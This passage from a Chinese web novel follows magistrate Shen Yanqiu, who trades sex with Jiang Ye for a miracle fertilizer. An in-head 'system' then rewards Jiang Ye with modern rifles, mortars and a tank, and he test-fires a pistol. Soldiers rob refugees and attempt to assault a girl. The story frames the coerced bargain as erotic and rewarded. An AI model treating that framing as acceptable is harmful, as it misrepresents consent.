原本的剑眉星目,因卸下了伪装而变得柔和。
她来到江家那气派的大门前,良久,她终于抬起手,叩响了那扇朱漆大门。
“吱呀——”
开门的是一名高大的护院。
当他看清门外站着的人时,整个人都僵住了,嘴巴微微张开,眼珠子瞪得溜圆。
这是哪里来的仙女?
他揉了揉眼睛,确定自己不是在做梦。
眼前的女子,比起东家那几位夫人来,似乎还要……还要夺目几分。
那是一种截然不同的美,仿佛不食人间烟火,带着一股让人不敢亵渎的清贵之气。
护院结结巴巴地问:“姑……姑娘,您找谁?”
“我找江夜,江先生。”沈砚秋声音沙哑。
“哦哦,您请,您请进。”护院连忙侧身让开一条路,态度恭敬。
……
院中,琴音袅袅,如山间清泉。
江夜依旧斜躺在那张宽大的摇椅上,双目微阖,手指随着白梦夏弹奏的琴音,在扶手上轻轻敲击着节拍,一脸的悠然自得。
护院快步走到他身边,压低了声音:“东家,外面……外面来了一位姑娘,说是要找您。”
江夜眼皮都没抬,只是懒洋洋地挥了挥手,示意把人带进来。
他以为又是沈砚秋找来的什么庸脂俗粉,已经懒得再费口舌。
随着一阵极轻的脚步声,沈砚秋走进了院子。
正在抚琴的白梦夏指尖一顿,琴音戛然而止。
她抬起头,美眸中闪过一丝惊艳。
院中正在修剪花枝的慕容晴和林间雪等人,也都停下了手中的动作,好奇地望了过来。
整个院子,仿佛都因为这个女子的到来而瞬间安静。
江夜察觉到琴音停了,有些不满地睁开了眼。
也就在这一刹那,他的目光,与走进院中的沈砚秋对上了。
原本慵懒随意的眼神,在看清来人的一瞬间,闪过一丝连他自己都未曾预料到的惊艳。
眼前的女子,穿着一身素雅的罗裙,身段窈窕有致,被掩盖住的玲珑曲线若隐若现,不堪一握的腰肢,更显得风姿绰约。
那张脸,既熟悉,又陌生。
陌生的是,当这些五官组合在一张属于女子的脸上,褪去了所有男儿的英气与伪装后,所呈现出的,是一种足以倾倒众生的绝世容颜。
清丽,冷艳。
江夜的目光从她那张涨得通红的脸蛋,一路向下,扫过她纤细的脖颈,最终又回到了她那双死死瞪着自己的凤眸上。
片刻的惊艳过后,江夜的嘴角,缓缓勾起一抹玩味笑意。
终于还是来了。
沈砚秋被他那充满侵略性的目光看得浑身不自在,让她那张本就白皙的俏脸瞬间涨得通红,连耳根都烧了起来。
她强迫自己镇定下来,攥紧了藏在袖中的拳头,指甲深深地掐进掌心,用疼痛来维持最后一丝理智。
“小女子沈乐瑶,见过江先生。”
她努力让自己的声音听起来平静,但开口的瞬间,才发现自己的嗓音带着一丝无法控制的颤抖。
“家兄,清河县令沈砚秋,今日有要事在身,特命我前来,向江先生请教‘神肥’一事。”
她搬出了自己临时想好的假名,和一套说辞。
江夜没有说话,只是似笑非笑地看着她,等着她的下文。
那眼神仿佛在说:继续,我看着你演。
沈砚秋被他看得头皮发麻,只能硬着头皮
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,将昨夜想好的台词说下去。
她挺了挺胸膛:“家兄还让我转告江先生,他乃朝廷命官,耐心有限。若是江先生再这般戏耍于他,清河县令的怒火,江先生……未必承受得起。”
这番话,她说得色厉内荏。
话虽硬气,但那微微颤抖的尾音,却将她内心的紧张与虚弱暴露得一览无余。
“哈哈……哈哈哈哈!”
江夜终于忍不住,爆发出一阵畅快的大笑。
笑声中满是毫不掩饰的戏谑。
在沈砚秋那几乎要**的目光中,江夜止住笑声,缓缓从摇椅上站了起来。
他一步一步,朝着沈砚秋走去。
沈砚秋的心,随着他的脚步,一下一下地狂跳起来。
她下意识地想要后退,双脚却像生了根一样,动弹不得。
江夜走到她的面前,停下脚步。
他比女扮男装的沈砚秋本就高出大半个头,此刻沈砚秋换回女装,身形更显娇小,几乎要被他整个笼罩在阴影之下。
他微微俯下身,将脸凑到她的面前,两人之间的距离,不足三寸。
江夜的声音低沉而富有磁性,带着一丝蛊惑人心的笑意,在她耳边响起。
“沈乐瑶?名字不错。”
温热呼吸轻轻喷在了沈砚秋敏感的脸颊和耳廓上。
沈砚秋的身体猛地一僵,一股陌生的酥麻感从耳根窜起,瞬间传遍四肢百骸,让她整个人都软了半边。
她惊得下意识地向后猛退了一大步,险些站立不稳。
江夜看着她那副惊弓之鸟的模样,嘴角的笑意更深了。
他没有再逼近,好整以暇地直起身,拉开了两人之间那令人窒息的距离,仿佛刚才那个几乎贴在她脸上的男人不是他一样。
“既然是贵客,那就进屋吧。”
“贵客”两个字,被他咬得格外重,充满了说不清的调侃意味。
沈砚秋紧绷的身体,在两人距离拉开的瞬间,几不可察地松懈了一瞬。
第199章 无处可逃
沈砚秋迈着僵硬的步子,跟着江夜走进了堂屋。
就在此时,一道银白色的影子从屋里窜了出来。
沈砚秋还没反应过来,那道影子已经冲到了她的脚边,团子显然对她这身女装极为满意,兴奋地绕着她的裙摆疯狂摇着尾巴,喉咙里发出呜呜的撒娇声。
这突如其来的热情,让沈砚秋瞬间不知所措,身体僵得像一尊石像。
团子绕了两圈,像是想起了什么,又一阵风似的冲到旁边的花坛里,用嘴叼下一朵开得最艳丽的野花,颠颠地跑回来,小心翼翼地放在沈砚秋的绣鞋边。
做完这一切,它便讨好地用自己的脑袋,一下一下地蹭着沈砚秋的小腿,尾巴摇得像个拨浪鼓。
沈砚秋看着脚边那朵沾着口水的野花,又看看眼前这只比寻常恶犬大了好几圈的“狼”,一时间竟有些哭笑不得。
这几日压在她心头的绝望,似乎都在这只傻狗的胡闹中,被冲淡了那么一丝。
“团子!不许对客人无礼!”
江夜瞥见这一幕,眉头一挑,随即冲着团子呵斥道。
团子被他一吼,蹭着沈砚秋的动作猛地一僵,委屈地抬起头,冲着江夜呜咽了一声,清亮的兽瞳里满是无辜。
江夜却不吃它这一套,抬脚虚虚一踹,笑骂道:“滚一边去,别在这碍眼。”
团子像是受了天大的委屈,夹着尾巴,一步三回头地跑到了院子的角落里,背对着众人,用爪子在地上画着圈圈,整个一幅被抛弃了的怨夫模样。
这滑稽的一幕,引得白梦夏几女都忍不住笑出了声。
沈砚秋看着角落里那个白色团子,心情却愈发复杂。
……
晚饭时分,饭菜的香气弥漫了整个院子。
一张宽大的八仙桌上,摆满了色香味俱全的家常菜。
沈砚秋被安排着坐在了白梦夏和白梦秋姐妹之间,浑身不自在。
她本想拒绝,可那姐妹俩的热情,根本不给她任何拒绝的机会。
“乐瑶妹妹,你太瘦了,多吃点肉。”白梦夏笑着,夹了一块炖得软烂的东坡肉放进她碗里。
“是呀是呀,你看你这小脸,都没什么血色。”白梦秋也跟着附和,给她盛了一碗热气腾腾的鸡汤。
“鸡汤最是滋补,你快尝尝。”
就连一向有些怯懦的林间雪,也小声地对她说:“你……你别拘谨,就当是自己家。”
慕容晴更是豪爽,直接端起酒杯:“来,乐瑶妹子,以后咱们就是一家人了,喝一个!”
一家人……
沈砚秋看着碗里堆成小山的菜,看着身边这几个笑靥如花、眼神里没有一丝杂质的女子。
再看看主位上那个好整以暇,喝着小酒的男人,一股巨大的荒谬感将她吞没。
她是为了清河县的百姓,为了沈家的性命,来此出卖自己,进行一场肮脏的交易。
可这些人,却摆出了一副迎接新妇进门的架势。
这温馨和睦的场景,与她内心的悲凉决绝形成了讽刺的对比,让她觉得眼前的一切都像是一场光怪陆离的梦。
她僵硬地拿起筷子,机械地往嘴里送着饭菜,食不知味。
作为朝廷命官,她在公堂之上舌战群儒都未曾有过半分胆怯,此刻却在这张小小的饭桌上,窘迫得如坐针毡。
终于,晚饭结束。
白梦夏和白梦秋交换了一个心照不宣的眼神,随即笑着站起身。
“乐瑶妹妹,你和夫君先聊着,我们去收拾碗筷。”
说着,几人便手脚麻利地开始收拾桌面,连带着把团子也给拽走了,转眼间,整个饭厅就只剩
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下了江夜和沈砚秋两个人。
原本还算热闹的气氛,瞬间变得微妙而暧昧。
沈砚秋端坐在椅子上,后背挺得笔直,双手死死地攥着自己裙摆的一角,指节因为过度用力而泛出青白色。
她的心跳如擂鼓,脑子里一片空白。
像一个等待审判的囚犯,失去了所有思考的能力。
“咔哒。”
一声轻响。
江夜放下了手中的酒杯。
她看到江夜站了起来,一步一步,缓缓地朝着自己走来。
沈砚秋的身体彻底绷紧了,她能感觉到自己的呼吸都变得急促起来,全身的血液仿佛都在向头部涌去。
江夜走到她的面前,停下脚步,看着她那双清亮的凤眸里写满了警惕与慌乱。
看着她这副模样,江夜忽然轻笑了一声。
那笑声在寂静的夜里格外清晰,带着一丝玩味。
下一刻,在沈砚秋反应过来之前,他俯下身,手臂穿过她的膝弯和后背,竟将她整个人拦腰抱了起来!
“啊!”
突如其来的失重感,让沈砚秋发出一声短促的惊呼。
她下意识地伸出手臂,想要推开他,可那点力气,对于江夜来说,不过是猫爪挠痒。
她象征性地挣扎了两下,手臂便无力地垂落下来。
算了……
事已至此,再挣扎又有什么意义?
从她换上女装,踏进这个院子的那一刻起,她就已经没有了退路。
沈砚秋认命般地闭上了双眼,长长的睫毛在烛光下微微颤抖。
江夜抱着她,能感觉到怀里的身子很轻,却又凹凸有致,带着女子特有的馨香。
他低头看了一眼怀中那张美得惊心动魄的脸。
眼神暗了暗,最终什么都没说,抱着她朝着卧房的方向走去。
第200章 神肥到手
翌日清晨,一缕天光透过窗棂,照在柔软的锦被上。
沈砚秋在一片柔软的锦被中醒来。
意识回笼的瞬间,一股强烈的酸痛感,从身体上传来,让她不由得倒吸了一口凉气。
她下意识地转头,身侧的位置,早已空了,只余下一片冰凉的褶皱。
昨夜那些疯狂的画面,如同失控的潮水,争先恐后地涌入她的脑海。
他粗重的呼吸,滚烫的体温,还有那些近乎掠夺的动作……
沈砚秋的脸颊瞬间烧了起来,眼中翻涌着羞愤。
她死死咬住下唇,才将那股即将失控的情绪强行压了下去。
一切都结束了。
她撑着酸软的身子坐起,锦被从光洁的肩头滑落,露出大片青紫的痕迹,触目惊心。
那都是那个男人留下的烙印。
她垂下眼帘,不再去看,只是默默地捡起散落在床边的月白色罗裙,一件件穿好。
沈砚秋走出房门。
院子里,一派安宁祥和。
江夜正斜靠在那张熟悉的摇椅上,悠闲地端着一杯冒着热气的早茶,神情惬意,仿佛昨夜什么都未曾发生过。
听到脚步声,他抬眼看来,目光在她身上停留了一瞬,嘴角噙着一抹若有似无的笑意。
那眼神,平静得没有一丝波澜,却让沈砚秋感觉自己像是被剥光了衣服般暴露在他面前,无所遁形。
她走到江夜对面的石凳上坐下,挺直了背脊,像是在用这种方式维持自己最后的体面。
“江先生。”
她一开口,才发现自己的嗓音沙哑得厉害。
“昨夜之事,就当是一场梦。现在,希望江先生能兑现承诺,将神肥之法交予我。”
江夜慢悠悠地呷了一口茶,这才抬起眼皮,看向她。
她那张绝色的脸上带着事后的憔悴,反而比昨日初见时,更添了几分惊心动魄的破碎美感。
江夜点了点头,神色平淡。
“那是自然。”
他放下茶杯,从摇椅上站起身。
“跟我来吧。”
江夜领着沈砚秋,一路走出了江家大院,朝着村外的一处空地行去。
那里,王囤和一队护院早已等候多时。
在他们身旁,整整齐齐地码放着数十个鼓鼓囊囊的**袋,将那片空地占去了小半。
“东家。”
王囤见到江夜,连忙躬身行礼,目光在看到江夜身后的沈砚秋时,不由得愣了一下,随即很快便低下头,不敢再看。
沈砚秋没有理会旁人的目光,她的视线死死地锁在那堆麻袋上。
这就是……能解救江临郡数十万灾民的希望?
江夜仿佛知道她心中所想,走到一个麻袋前,随手解开了系口的绳子。
黑褐色的东西从袋口倾泻而出。
沈砚秋走上前,蹲下身子。
没有想象中的金光四射,也没有什么奇异的香味。
眼前这东西,就是一堆黑乎乎的泥土,只是比寻常的泥土要松软许多,凑近了闻,能闻到一股类似于雨后草地的清香。
除此之外,再无半点特异之处。
沈砚秋伸出两根手指,捻起一点神肥,在指尖细细摩挲。
细腻,松软,带着一丝若有若无的湿气。
她的心,一点一点地沉了下去。
这就是她用自己的清白换来的东西?
一堆看起来平平无奇的黑土?
她猛地抬起头,看着江夜,那双凤
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眸里满是浓浓的怀疑与质问。
“江先生,这就是你说的神肥?”
她的声音因为极度的失望而微微颤抖。
“这东西……能让冰封的冻土发芽?”
江夜知道她的不解和疑惑,他脸上露出一丝淡笑,却没有解释。
他只是伸手指了指那堆积如山的麻袋,语气依旧是那副懒洋洋的腔调。
“东西都在这里了,你可以带走了。”
“至于信与不信,用与不用,那是沈大人的事。”
这番话,轻飘飘的,却像一记重锤,狠狠砸在沈砚秋的心上。
事已至此,她还有选择的余地吗?
她付出了那样惨痛的代价,难道就因为这东西看起来平平无奇就将它弃之如敝履?
哪怕只有万分之一的可能,她也必须试一试。
这是清河县百姓唯一的活路,也是沈家满门唯一的生机。
沈砚秋缓缓站起身,她心中虽无半分底气,可脸上却恢复了属于清河县令的果决与冷静。
她朝着村口的方向,打了个清脆的响哨。
早已等候在村外的**,立刻带着一队衙役和十几辆板车,快步赶了过来。
“沈姑娘!”
“把这些东西,全部装车,即刻运回县衙。”沈砚秋声音清冷。
“是!”
**挥手示意手下的衙役上前搬运。
一时间,空地上人声鼎沸,衙役们两人一组,吃力地将一个个沉重的麻袋往板车上扛。
沈砚秋站在原地,一言不发,只是看着这一切。
直到最后一袋“神肥”被装上车,她转过身,深深地看了江夜一眼。
她终究什么都没说,猛地一甩衣袖,转身快步离去。
第201章 射程之内皆真理
江夜站在村口目送车队离开。
嘴角勾起一抹玩味的弧度。
为了沈家,为了这青石县的百姓,这位高高在上的县令大人,不惜以色侍人。
倒是个为国为民的好官。
马车彻底消失在拐角处的瞬间,冰冷而机械的声音,在江夜脑海中响起。
【叮!】
【检测到宿主与特殊人物沈砚秋发生实质性关系。】
【恭喜宿主,触发隐藏成就奖励!】
【奖励已发放:现代**库(初级)】
江夜身体微僵,随即心中涌起喜悦,连呼吸都灼热了几分·。
**库?
在这个冷兵器时代,系统竟然直接给他开了这么大一个挂?
这奖励提前给了?
之前的神肥、地龙等终究是民用范畴,是用来种田、赚钱、搞建设的。
可**是用来**的。
是在这个人命如草芥的乱世里,制定规则的权杖。
“呼……”
江夜吐出一口浊气,强压下心头狂跳的悸动。
他没有惊动任何人,转身朝着自家院子走去。
回到书房,反锁房门。
心念一动,意识瞬间沉入灵泉空间。
空间内依旧是一片生机勃勃的景象,灵泉汩汩流淌,远处堆积如山的粮食和金银散发着富足的气息。
然而,在空间的东南角,原本空旷的区域此刻却多出了一座被迷彩帆布覆盖的庞然大物,以及一排排散发着冷冽金属光泽的墨绿色木箱。
一股肃杀之气,与这世外桃源般的空间格格不入。
江夜快步上前,抚摸上其中一个长条形木箱。
没有任何锁扣,用力一掀。
“咔嚓!”
木盖翻开。
一股浓烈的枪油味混合着木屑的香气扑面而来。
稻草垫层下,十支通体黝黑、线条流畅的自动**静静地躺在那里,枪身涂着厚厚的防锈油,在空间柔和的光线下反射着幽幽寒光。
АК-47。
不,准确来说,是其国产改进型,五六式**。
木托,折叠刺刀,三十发弹匣。
皮实,耐操,火力凶猛。
在这个还在使用红缨枪和片刀的年代,这就是死神的镰刀。
只要扣动**,哪怕是一个从未习武的农夫,也能在瞬间将一名苦练三十年的一流高手打成筛子。
江夜深吸一口气,又走向旁边那几个更巨大的箱子。
几根粗大的炮管赫然映入眼帘。
60毫米迫击炮。
这玩意儿不需要多高的技术含量,在攻坚战和阵地战中,简直就是降维打击的大杀器。
以后谁要是敢跟他玩什么盾墙推进,几发炮弹下去,连魂都得给炸飞。
然而,最让江夜心潮澎湃的,还是角落里那个被帆布盖住的大家伙。
虽然只露出了履带的一角,他大步走过去,一把扯下帆布。
“哗啦——”
灰尘飞扬。
一辆草绿色的轻型坦克,静静地趴伏在那里。
M3斯图亚特轻型坦克。
二战时期的老古董,放在大宣王朝,这就是无敌的存在!
37毫米火炮,三挺**,加上这一身以免疫任何冷兵器攻击的装甲。
江夜甚至能想象到,当这玩意儿开上战场,碾碎敌人的防线时,对方脸上那是何等的绝望与崩溃。
什么宗师高手?
在钢铁洪流面前,众生平等。
江夜的手掌贴在坦克冰凉的装甲板上,一种前所未有的安全感油然而生。
在这个乱世,粮食是命,钱财是祸。
唯有手中的枪杆子,才是守住这一切的根本。
有了这些东西,他不再是那个被动防守的土财主。
片刻后,江夜从空间里退了出来。
手里,却多了一把银光闪闪的**。
**。
沉甸甸的分量压在掌心,给人一种踏实的质感。
他将枪插在后腰,随手披上一件外袍。
“团子!”
江夜冲着院墙角落喊了一声。
团子这会儿正百无聊赖地在墙根底下刨坑,听到主人召唤,立刻摇着尾巴冲了过来。
“走,带你去个好地方。”
江夜拍了拍它的狼头,转身朝着后山走去。
稻花村背靠大山,山势险峻,深处有一片极为隐蔽的无人山谷,三面环壁,正是绝佳的试枪之地。
一人一狼,穿行在密林之间。
团子整天被关在院子里早就憋坏了,这会兴奋坏了。
到了山林里,它一会儿追着野兔狂奔,一会儿对着树上的松鼠龇牙咧嘴,甚至还犯贱地去扑腾两只正在花丛中缠绵的蝴蝶。
哪里还有半点变异雪狼王的威严,活脱脱一只撒欢的二哈。
江夜也没管它,径直走到山谷深处。
他在距
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离一棵三人合抱粗的古老松树约莫百米的位置停下脚步。
四周寂静无声,只有风吹过树梢的沙沙声。
江夜从怀中掏出那把银色的**,又摸出一枚黄澄澄的**,动作行云流水般压入**。
上膛,举枪,瞄准。
动作一气呵成。
远处的团子正撅着屁股,把脑袋钻进一个灌木丛里不知在刨什么,毛茸茸的大尾巴在外面摇得飞起。
江夜眯起眼,屏住呼吸。
食指扣动**。
“砰——!!!”
一声震耳欲聋的巨响,瞬间撕裂了山谷的宁静。
那声音在封闭的山谷中来**荡,惊起无数飞鸟。
百米开外。
那棵不知生长了多少年的古松,树干一震。
木屑纷飞,树皮炸裂。
一个碗口大小的恐怖弹孔赫然出现在树干中央,透过弹孔,甚至能看到后方的岩石被崩碎的痕迹。
威力之大,令人咋舌。
这一枪若是打在人身上,哪怕穿着重甲,也会瞬间被撕成碎片。
“呜嗷!!!”
就在枪响的瞬间,团子被这突如其来的声音吓得魂飞魄散。
它惨叫一声,四条腿一软,直接在地上打了个滚。
什么狼王的尊严,什么变异兽的凶悍,在这一刻全都喂了狗。
它连滚带爬地窜到江夜身边,一头扎进江夜的裤腿后面。
巨大的身躯缩成一团,两只前爪死死抱着江夜的小腿,把脑袋埋在爪子里,瑟瑟发抖。
喉咙里还发出呜呜声,听起来要多凄惨有多凄惨。
江夜低头,看着脚边这坨正在疯狂颤抖的白色**球,又看了看远处那个还在冒着青烟的弹孔。
他收起枪,有些好笑地踢了踢团子的屁股。
“起来,别装死。”
团子把脑袋从爪子里探出来一点点,露出一只湿漉漉的大眼睛,惊恐地四处张望。
确认没有第二道雷劈下来,它才哆哆嗦嗦地站起来,但依旧紧紧贴着江夜的大腿,一步都不敢离开,眼里充满了对未知的恐惧
“出息。”
江夜笑骂道:“以后这就是咱们家的传家宝,你得习惯。”
他心情大好,吹散了枪口的硝烟,将**重新插回腰间。
“走了,回家。”
江夜转身朝着山外走去。
团子见状,立刻夹着尾巴跟上,寸步不离。
第202章 此时无声胜有声
回到稻花村的院子,日头已至中天。
刚进门,江夜便瞧见白梦夏与白梦秋两姐妹正互相搀扶着,试图从廊下的软塌上起身。
不过数月光景,这对双胞胎姐妹的肚子像是吹气球般鼓了起来。
原本纤细的腰肢早已不见踪影,沉重的身孕让她们每动一下都要耗费全身力气。
“哎哟……”白梦秋一手撑着后腰,一手拽着姐姐的袖子,小脸皱成一团,“姐,我腿麻了,这小家伙又在踢我。”
白梦夏也是额角见汗,呼吸粗重,温婉的脸上带着几分无奈的笑意:“慢些,莫要急。”
一旁的林间雪赶忙放下手里的针线活,小跑着过去托住白梦夏的手臂,眼神里满是紧张,生怕这两个宝贝疙瘩磕着碰着。
慕容晴虽然也挺着个肚子,但她毕竟是习武之人,身子骨硬朗,这会儿正端着一盘刚洗好的酸梅往嘴里塞:“慢点慢点……哎呀,看着都累。”
江夜快步上前,一手一个,稳稳地将两姐妹重新按回了软塌上。
“都别动。”
“夫君……”白梦秋见到江夜,委屈巴巴地撇着嘴,“我好笨,连路都走不动了。”
“胡说什么。”江夜替她理了理鬓角的乱发,目光扫过几女高隆的腹部,眉头微微一皱。
随着月份越大,行动越发不便,若是整日闷在屋里,对大人孩子都不好。
得弄个代步的玩意儿。
江夜转身去了后院杂物房,不多时,便扛着几根上好的铁力木和一堆工具出来。
“夫君这是要做甚?”慕容晴好奇地凑过来。
江夜没答话,只是脱了外袍,露出精壮的上身。
【神级工匠】技能发动。
在他眼中,这些木料的纹理、硬度、受力点一览无余。
锯子拉动,木屑纷飞如雪。
刨刀推过,卷起一层层薄如蝉翼的木花。
团子趴在一旁,好奇地用鼻子去嗅那些木花,结果打了个响亮的喷嚏,惹得几女掩唇轻笑。
江夜手下动作极快,榫卯结构在他手中如同儿戏。
他要做的不是寻常椅子,而是带减震系统的轮椅。
没有弹簧,便用油浸过的多层竹片做板簧,利用竹子的韧性减震。
没有轴承,便用硬木打磨成珠,涂上油脂,嵌入轮轴之间。
两个时辰后。
两辆造型奇特、带着遮阳顶棚的木制怪车出现在院中。
椅背不仅可以调节角度,甚至能完全放平当成小床。
底下四个轮子宽大厚实,外圈包了一层厚厚的牛皮防滑。
“这是……”白梦夏瞪大了眼睛。
“来,试试。”
江夜擦了把汗,上前将白梦夏打横抱起,轻轻放入车中。
白梦夏惊呼一声,随即身子陷入铺了软垫的椅背里。
江夜推动扶手,轮椅在青石板上滑行,竟是悄无声息。
压过地面的小石子时,底下的竹片微微弯曲,车身只是轻晃,丝毫没有颠簸感。
“好神奇!”白梦夏美眸瞬间亮了,“就像……就像坐在云端一般。”
一旁的白梦秋看得眼热,嚷嚷着也要坐。
江夜笑着将她也抱进另一辆车里。
林间雪和慕容晴试着推了两下,惊讶地发现这车子设计精巧,推起来毫不费力,哪怕是她们这般弱质女流,也能轻松推着两位姐姐在院中散步。
“夫君这手艺,怕是鲁班再世也不过如此。”慕容晴摸着那光滑的扶手,眼中满是崇拜。
林间雪蹲下身,看着那复杂的轮轴结构,小声惊叹:“这心思也太巧了……”
看着妻子们脸上崇拜与惊喜的神情,江夜嘴角勾起一抹满足的笑意。
……
夜色如墨,县衙后堂灯火通明。
沈砚秋已经换回了一身墨绿色的官袍,发髻高束,恢复了那副清冷孤傲的县令模样。
只是若是细看,便能发现她走路的姿势略显僵硬。
“大人,真的要分发下去吗?”
**看着面前那几袋其貌不扬的黑土,语气中带着深深的忧虑,“若是这东西无效,百姓们最后的希望破灭,恐怕会激起民变啊。”
沈砚秋修长的手指轻轻敲击着桌面。
她的脑海中,浮现出那个男人懒散却自信的笑容,以及那晚……
她深吸一口气,将那些旖旎的画面强行驱逐。
“发。”
沈砚秋的声音冷硬,“挑选城西那几户最老实本分的农户,告诉他们,这是朝廷秘制的肥料,让他们混在种子里试种!”
“是!”**应下,抱起麻袋匆匆离去。
……
沈砚秋的神肥刚派发下去,县尉庞戍就得到了风声。
奢华宅院内,庞戍怀里搂着个浓妆艳抹的歌姬。
听完手下的汇报,差点没把嘴里的酒喷出来,“那沈砚秋去了一趟乡下,就带回来几车黑土?”
“千真万确。”手下的捕头赵猛一脸谄媚,“小的亲眼看见**那狗腿子,鬼鬼祟祟地把土分给了几户泥腿子。”
“哈哈哈哈!”
庞戍笑得前仰后合,随即眼中闪过一丝阴鸷与不屑。
“这黄毛小儿,也就这点出息了,本来还想找机会做了他,现在看来,根本不用老子动手。”
庞戍端起酒杯一饮而尽,“等过几日,那些泥腿子发现种不出东西,饿急了眼,不用咱们煽动,他们就会把县衙给拆了!到时候,老子就坐收渔翁之利!”
“大人英明!”赵猛连忙拍马屁,“那咱们现在……”
“传令下去,让弟兄们这几天都给我精神点。”庞戍眼中闪过一丝贪婪,“城外那些流民营里,应该还有
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不少藏着的油水,给我仔细搜查搜查。”
……
翌日,城外流民营。
寒风呼啸,裹挟着令人作呕的酸臭味。
数千名衣衫褴褛的流民挤在几处棚屋下,瑟瑟发抖。
“都给老子站好了!例行搜查!”
一阵嘈杂的喝骂声打破了死寂。
十几名身穿号衣的兵痞,手持刀鞘,如狼似虎地冲进了流民营。
与其说是搜查,不如说是明抢。
他们掀翻流民的破锅,踢碎仅有的瓦罐,但凡看到一点藏匿的干粮,立刻一把夺过,塞进自己怀里。若有敢反抗的,上去就是一顿拳打脚踢。
“官爷!官爷求求您了!这是给俺娘救命的半个窝头啊!”
一个瘦骨嶙峋的少年死死抱住一名兵痞的大腿,哭得撕心裂肺。
“滚开!敢阻拦官差搜查,我看你是想**!”
那兵痞一脸横肉,抬脚便是一记狠踹,直接将那少年踢得口吐鲜血,滚出老远。
周围的流民敢怒不敢言,只能麻木地看着这一切。
“哟,这小娘子长得倒是不错。”
另一个满脸麻子的兵痞,目光落在了老妇人身后一个瑟瑟发抖的少女身上,淫笑着伸出了脏手。
“来,让爷检查检查,身上有没有藏着什么**。”
“不要……不要……”少女惊恐地后退,却被逼到了墙角。
“住手!”
一声厉喝,如同惊雷般炸响。
沈砚秋带着几名亲随,策马而来。
她刚处理完神肥的事,便马不停蹄地赶来巡视流民营,没想到竟撞见这一幕。
看着地上吐血的老人和绝望哭泣的少女,一股无法遏制的怒火,瞬间点燃了她的理智。
“沈……沈大人?”
那几个兵痞见到沈砚秋,先是一愣,随即懒洋洋地行了个礼,脸上并没有多少畏惧。
庞戍的人,向来不把这个县令放在眼里。
“大人,哥几个这是在例行公事,搜查乱党……”那麻子脸嬉皮笑脸地凑上前。
“啪!”
一声脆响。
沈砚秋手中的马鞭,狠狠地抽在了那张令人作呕的脸上。
这一鞭含怒而发,直接将那麻子脸抽得皮开肉绽,惨叫着捂脸倒地。
“例行公事?”
沈砚秋翻身下马,平日里那个温文尔雅的县令大人此刻面若寒霜,凤眸中杀意凛然。
她一步一步走向那些兵痞,手中的马鞭滴着血。
“抢夺灾民口粮,欺凌弱质女流,这就是你们的公事?!”
“大……大人,我们可是庞县尉的人……”剩下的几个兵痞慌了,搬出了靠山。
“庞戍?”
沈砚秋冷笑一声,再次扬起马鞭,狠狠抽下!
“别说是庞戍,就算是天王老子,今日也救不了你们!”
第203章 撕破脸皮
鞭影还未落下,一道带着冷意的声音响起。
“沈大人好大的官威啊。”
紧跟着,一群县兵蛮横地撞开围观的流民,呈扇形排开,手中的**泛着森冷的寒光,直指场中。
人群自动分开一条道,庞戍骑着一匹枣红大马,慢悠悠地晃了进来。
他瞥了一眼地上被打得皮开肉绽的亲信,又看了看手持染血马鞭的沈砚秋,脸上挤出一丝假笑。
“把沈大人吹到这脏乱差的流民营来了?”
庞戍翻身下马,走到那哀嚎的麻子脸兵痞身边,抬脚随意踢了踢对方的屁股,“别嚎了,丢人现眼的东西。”
麻子脸见主子来了,立马连滚带爬地抱住庞戍的大腿,哭得一把鼻涕一把泪:“大人!大人您要为小的做主啊!这沈大人他不分青红皂白……”
“闭嘴。”
庞戍轻飘飘两个字,那兵痞瞬间噤若寒蝉。
他抬起头,那双三角眼似笑非笑地盯着沈砚秋,语气轻慢:“沈大人,打狗还得看主人。我这帮手下虽然粗鲁了些,但也是为了青石县的治安在卖命。您这一顿鞭子下去,是不是太不给本官面子了?”
沈砚秋握着马鞭的手指节发白,她冷冷地看着眼前这个脑满肠肥的县尉。
沈砚秋声音清冷,字字如刀,“抢夺灾民口粮,欺凌弱质女流,这也是为了治安?本官身为一县之长,教训几个作奸犯科的败类,还需要看你的面子?”
“作奸犯科?”
庞戍像是听到了什么天大的笑话,仰头大笑几声,随即脸色骤然阴沉,往前逼近一步。
他身后的几十名县兵齐刷刷向前踏了一步,甲叶碰撞,发出令人心悸的哗啦声。
沈砚秋身后的几个亲随吓得脸色苍白,握刀的手都在发抖,唯有沈砚秋一步未退,昂首对视。
“沈大人,饭可以乱吃,话可不能乱讲。”庞戍压低了声音,带着毫不掩饰的威胁,“我看您还是少出城,若是哪天不小心遇上了流寇,下场也不见得比这些流民好!”
这是赤裸裸的威胁。
沈砚秋凤眸微眯,心中涌起一股难以言喻的愤怒与悲凉。
这就是大宣的官员,这就是青石县的县尉!
“庞戍,你敢威胁朝廷命官?”
“威胁?不不不,本官只是好心提醒。”庞戍退后一步,拍了拍手上的灰尘,大手一挥:“带上那几个废物,咱们走。”
一群县兵簇拥着庞戍扬长而去,临走前,那一道道轻蔑嘲讽的目光,如同耳光一般扇在沈砚秋的脸上。
烟尘散去,留下一地狼藉。
周围的流民依旧麻木地看着这一幕,眼神空洞。
他们不在乎谁输谁赢,只在乎下一顿能不能吃到馒头。
沈砚秋站在原地,手中的马鞭不知何时已滑落在地。
她看着庞戍离去的背影,那股深深的无力感如同潮水般将她淹没。
她换来的那些神肥,真的能成为破局的关键吗?
若是不成……
沈砚秋闭上眼,不敢再想。
……
十日的时间转瞬即逝。
清晨的雾气还未散去,稻花村外,清晨,薄雾未散。
稻花村已经被一片生机勃勃的翠绿所覆盖。
放眼望去,绿色的麦浪在晨风中轻轻摇曳,每一株秧苗都粗壮得惊人,叶片肥厚油亮,仿佛是用最上等的翡翠雕琢而成。
更离谱的是,有些早熟的植株,顶端竟然已经鼓起了饱满的穗包,沉甸甸地压弯了腰。
这个景象,不到半日功夫,便传遍了方圆几十里。
稻花村外,很快便**了黑压压的人群。
那是来自周围村庄的难民,甚至还有从县城方向逃荒来的流民。
他们衣衫褴褛,面黄肌瘦,一双双眼睛里冒着饿狼般的绿光,死死盯着田里那些绿油油的庄稼。
吞咽口水的声音,此起彼伏,响成一片。
“那是粮食……那是吃的……”
不知是谁先喊了一句。
人群瞬间骚动起来。
理智在饥饿面前,脆弱得不堪一击。
“抢啊!抢了就能活命!”
“冲进去!吃一口是一口!”
几个饿疯了的流民,手里抓着破烂的袋子,发了疯似的朝着田里冲去。
“我看谁敢动!”
一声暴喝,如平地惊雷。
王囤带着二十几个护院,手持儿臂粗的哨棒,如一堵铁墙般挡在田埂上。
这群汉子个个身材魁梧,浑身散发着冷意。
王囤手中哨棒一横,直接将冲在最前面的两个流民扫翻在地。
